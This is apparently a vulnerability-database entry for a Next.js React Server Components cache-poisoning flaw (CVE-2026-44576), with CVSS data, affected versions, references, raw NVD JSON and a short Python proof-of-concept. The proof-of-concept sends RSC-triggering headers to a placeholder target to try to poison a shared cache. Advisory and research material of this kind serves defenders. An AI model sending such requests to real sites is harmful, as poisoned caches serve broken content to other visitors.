CVE-2026-44576

Description

Next.js is a React framework for building full-stack web applications. From 14.2.0 to before 15.5.16 and 16.2.5, applications using React Server Components can be vulnerable to cache poisoning when shared caches do not correctly partition response variants. Under affected conditions, an attacker can cause an RSC response to be served from the original URL and poison shared cache entries so later visitors receive component payloads instead of the expected HTML. This vulnerability is fixed in 15.5.16 and 16.2.5.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:* - VULNERABLE

Next.js 14.2.0 to 15.5.16

Next.js 16.0.0 to 16.2.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Proof of Concept for CVE-2026-44576
# Targeting a Next.js application vulnerable to cache poisoning

target_url = "http://target-nextjs-app.com/"

# Headers to trigger RSC response or confuse the cache
# Note: Actual exploitation depends on specific CDN/Cache configuration
headers = {
    "User-Agent": "PoC-Scanner/1.0",
    # Attempt to force an RSC response or specific variant
    "Accept": "text/x-component",
    "Next-Router-Prefetch": "1"
}

print(f"[+] Sending payload to {target_url}...")

try:
    # Send request to poison the cache
    response = requests.get(target_url, headers=headers)
    
    if response.status_code == 200:
        print("[+] Request sent successfully.")
        print(f"[+] Response Content-Type: {response.headers.get('Content-Type')}")
        print("[+] Cache might be poisoned if the CDN caches this RSC response as HTML.")
    else:
        print(f"[-] Request failed with status code: {response.status_code}")
        
except Exception as e:
    print(f"[-] An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-44576
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-44576
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-44576/
[4] VulDB https://vuldb.com/cve/CVE-2026-44576
[5] https://github.com/vercel/next.js/security/advisories/GHSA-wfc6-r584-vfw7

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-44576", "sourceIdentifier": "[email protected]", "published": "2026-05-13T17:16:23.040", "lastModified": "2026-05-14T13:44:18.270", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Next.js is a React framework for building full-stack web applications. From 14.2.0 to before 15.5.16 and 16.2.5, applications using React Server Components can be vulnerable to cache poisoning when shared caches do not correctly partition response variants. Under affected conditions, an attacker can cause an RSC response to be served from the original URL and poison shared cache entries so later visitors receive component payloads instead of the expected HTML. This vulnerability is fixed in 15.5.16 and 16.2.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.2, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-436"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "14.2.0", "versionEndExcluding": "15.5.16", "matchCriteriaId": "F402B839-26EF-4506-BF6F-038CBE1C908C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "16.0.0", "versionEndExcluding": "16.2.5", "matchCriteriaId": "27C5CF7A-7A33-4BE4-B8FD-10BFD813204A"}]}]}], "references": [{"url": "https://github.com/vercel/next.js/security/advisories/GHSA-wfc6-r584-vfw7", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}